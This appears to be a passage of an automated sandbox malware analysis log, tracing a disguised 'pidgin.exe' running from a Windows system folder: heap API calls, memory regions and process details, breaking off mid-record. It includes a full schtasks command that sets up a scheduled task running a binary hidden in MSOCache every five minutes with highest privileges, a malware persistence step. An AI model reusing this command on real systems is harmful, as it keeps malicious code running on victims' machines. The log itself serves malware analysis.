RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff4030) returned 1 [0123.541] GetProcessHeap () returned 0x23fabff0000 [0123.541] GetProcessHeap () returned 0x23fabff0000 [0123.541] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff9030) returned 1 [0123.541] GetProcessHeap () returned 0x23fabff0000 [0123.541] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff9030) returned 0x20 [0123.541] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff9030) returned 1 [0123.541] GetProcessHeap () returned 0x23fabff0000 [0123.541] GetProcessHeap () returned 0x23fabff0000 [0123.541] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff9180) returned 1 [0123.541] GetProcessHeap () returned 0x23fabff0000 [0123.541] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff9180) returned 0x20 [0123.542] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff9180) returned 1 [0123.542] GetProcessHeap () returned 0x23fabff0000 [0123.542] GetProcessHeap () returned 0x23fabff0000 [0123.542] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff8f70) returned 1 [0123.542] GetProcessHeap () returned 0x23fabff0000 [0123.542] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff8f70) returned 0x20 [0123.543] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff8f70) returned 1 [0123.543] GetProcessHeap () returned 0x23fabff0000 [0123.543] GetProcessHeap () returned 0x23fabff0000 [0123.543] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff8fa0) returned 1 [0123.554] GetProcessHeap () returned 0x23fabff0000 [0123.554] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff8fa0) returned 0x20 [0123.554] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff8fa0) returned 1 [0123.555] GetProcessHeap () returned 0x23fabff0000 [0123.555] GetProcessHeap () returned 0x23fabff0000 [0123.555] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff9210) returned 1 [0123.555] GetProcessHeap () returned 0x23fabff0000 [0123.555] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff9210) returned 0x20 [0123.555] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff9210) returned 1 [0123.556] GetProcessHeap () returned 0x23fabff0000 [0123.556] GetProcessHeap () returned 0x23fabff0000 [0123.556] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff4050) returned 1 [0123.556] GetProcessHeap () returned 0x23fabff0000 [0123.556] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff4050) returned 0x18 [0123.556] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff4050) returned 1 [0123.556] GetProcessHeap () returned 0x23fabff0000 [0123.556] GetProcessHeap () returned 0x23fabff0000 [0123.556] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff9120) returned 1 [0123.557] GetProcessHeap () returned 0x23fabff0000 [0123.557] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff9120) returned 0x20 [0123.557] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff9120) returned 1 [0123.557] GetProcessHeap () returned 0x23fabff0000 [0123.557] GetProcessHeap () returned 0x23fabff0000 [0123.557] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff4f10) returned 1 [0123.558] GetProcessHeap () returned 0x23fabff0000 [0123.558] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff4f10) returned 0x18 [0123.558] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff4f10) returned 1 [0123.558] exit (_Code=0) Thread: id = 171 os_tid = 0x1348 Process: id = "27" image_name = "pidgin.exe" filename = "c:\\windows\\l2schemas\\pidgin.exe" page_root = "0x3ef47000" os_pid = "0x1344" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x358" cmd_line = "C:\\Windows\\L2Schemas\\pidgin.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3349 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3350 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3351 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3352 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3353 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3354 start_va = 0x2c0000 end_va = 0x4b9fff monitored = 1 entry_point = 0x4b131e region_type = mapped_file name = "pidgin.exe" filename = "\\Windows\\L2Schemas\\pidgin.exe" (normalized: "c:\\windows\\l2schemas\\pidgin.exe") Region: id = 3355 start_va = 0x600000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 3356 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3357 start_va = 0x7ff5ffcc0000 end_va = 0x7ff5ffce2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffcc0000" filename = "" Region: id = 3358 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3755 start_va = 0x170000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3756 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3757 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3758 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4163 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4164 start_va = 0x7ff5ffbc0000 end_va = 0x7ff5ffcbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffbc0000" filename = "" Region: id = 4165 start_va = 0x4c0000 end_va = 0x57dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4166 start_va = 0x800000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 4167 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4168 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4169 start_va = 0x7ff5ffb40000 end_va = 0x7ff5ffbbdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4170 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4171 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4172 start_va = 0x8a0000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 4173 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4174 start_va = 0x180000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4175 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4176 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4177 start_va = 0x9a0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 4178 start_va = 0x280000 end_va = 0x286fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 4179 start_va = 0x7ffa624c0000 end_va = 0x7ffa6255cfff monitored = 1 entry_point = 0x7ffa624c1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4255 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4256 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4257 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4258 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4259 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4260 start_va = 0x580000 end_va = 0x5b8fff monitored = 0 entry_point = 0x5812f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4261 start_va = 0xab0000 end_va = 0xc37fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 4262 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4279 start_va = 0x290000 end_va = 0x290fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 4280 start_va = 0x2a0000 end_va = 0x2a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 4281 start_va = 0xc40000 end_va = 0xdc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c40000" filename = "" Region: id = 4282 start_va = 0xdd0000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dd0000" filename = "" Region: id = 4283 start_va = 0x21d0000 end_va = 0x23c2fff monitored = 1 entry_point = 0x23c131e region_type = mapped_file name = "pidgin.exe" filename = "\\Windows\\L2Schemas\\pidgin.exe" (normalized: "c:\\windows\\l2schemas\\pidgin.exe") Region: id = 4284 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4285 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4337 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4338 start_va = 0x7ffa623c0000 end_va = 0x7ffa624b6fff monitored = 0 entry_point = 0x7ffa623e4d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 4692 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 4693 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 4694 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 4695 start_va = 0x7ff9ff190000 end_va = 0x7ff9ff19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff190000" filename = "" Region: id = 4696 start_va = 0x7ff9ff1a0000 end_va = 0x7ff9ff1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1a0000" filename = "" Region: id = 4697 start_va = 0x7ff9ff1b0000 end_va = 0x7ff9ff23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1b0000" filename = "" Region: id = 4698 start_va = 0x7ff9ff240000 end_va = 0x7ff9ff2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff240000" filename = "" Region: id = 4699 start_va = 0x5a0000 end_va = 0x5a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 4700 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 4985 start_va = 0x9a0000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 4986 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 4987 start_va = 0x21d0000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4988 start_va = 0x21d0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4989 start_va = 0x2330000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 4990 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 4991 start_va = 0x2340000 end_va = 0x1a33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 5790 start_va = 0x1a340000 end_va = 0x1a6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a340000" filename = "" Region: id = 5791 start_va = 0x1a6b0000 end_va = 0x1a7b3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6b0000" filename = "" Region: id = 5792 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 5793 start_va = 0x1a7c0000 end_va = 0x1a8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 8213 start_va = 0x1a8c0000 end_va = 0x1a9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8c0000" filename = "" Region: id = 8214 start_va = 0x1a9c0000 end_va = 0x1aabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9c0000" filename = "" Region: id = 8215 start_va = 0x1aac0000 end_va = 0x1adf6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8533 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 9020 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9021 start_va = 0x8a0000 end_va = 0x95ffff monitored = 0 entry_point = 0x8c0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9022 start_va = 0x8a0000 end_va = 0x97cfff monitored = 0 entry_point = 0x8fe0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9697 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9698 start_va = 0x8a0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 9699 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 9700 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 9924 start_va = 0x7ff5ffb20000 end_va = 0x7ff5ffbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ffb20000" filename = "" Region: id = 9925 start_va = 0x7ff5ffb10000 end_va = 0x7ff5ffb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ffb10000" filename = "" Region: id = 9957 start_va = 0x7ff9ff2b0000 end_va = 0x7ff9ff2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2b0000" filename = "" Region: id = 9958 start_va = 0x7ff9ff2c0000 end_va = 0x7ff9ff2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2c0000" filename = "" Region: id = 10205 start_va = 0x7ff9ff2d0000 end_va = 0x7ff9ff30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2d0000" filename = "" Region: id = 10206 start_va = 0x7ffa621f0000 end_va = 0x7ffa622fdfff monitored = 1 entry_point = 0x7ffa621f1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 10207 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10208 start_va = 0x1ae00000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae00000" filename = "" Region: id = 10209 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 10375 start_va = 0x7ffa5c790000 end_va = 0x7ffa5d3d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 10377 start_va = 0x7ffa5be00000 end_va = 0x7ffa5c781fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 10410 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10411 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10412 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10413 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10435 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10436 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 10467 start_va = 0x800000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 10468 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 10501 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10522 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10558 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10573 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 10574 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 10592 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10593 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10594 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Thread: id = 190 os_tid = 0x133c [0211.796] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.697] RoInitialize () returned 0x1 [0243.699] RoUninitialize () returned 0x0 Thread: id = 210 os_tid = 0xc74 Thread: id = 240 os_tid = 0x1398 Thread: id = 247 os_tid = 0x44c [0243.864] CoGetContextToken (in: pToken=0x1a8bf9f0 | out: pToken=0x1a8bf9f0) returned 0x800401f0 [0243.865] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0243.865] RoInitialize () returned 0x1 [0243.865] RoUninitialize () returned 0x0 Thread: id = 320 os_tid = 0xea0 Thread: id = 332 os_tid = 0x131c Thread: id = 363 os_tid = 0x1060 Process: id = "28" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x5914c000" os_pid = "0x10c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"accuposa\" /sc MINUTE /mo 5 /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3360 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3361 start_va = 0xd79c800000 end_va = 0xd79c9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000d79c800000" filename = "" Region: id = 3362 start_va = 0xd79ca00000 end_va = 0xd79ca7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000d79ca00000" filename = "" Region: id = 3363 start_va = 0x2996d810000 end_va = 0x2996d82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002996d810000" filename = "" Region: id = 3364 start_va = 0x2996d830000 end_va = 0x2996d844fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002996d830000" filename = "" Region: id = 3365 start_va = 0x2996d850000 end_va = 0x2996d853fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002996d850000" filename = "" Region: id = 3366 start_va = 0x2996d860000 end_va = 0x2996d860fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002996d860000" filename = "" Region: id = 3367 start_va = 0x2996d870000 end_va = 0x2996d871fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002996d870000" filename = "" Region: id = 3368 start_va = 0x7df5ffe10000 end_va = 0x7ff5ffe0ffff monitored = 1 entry_point = 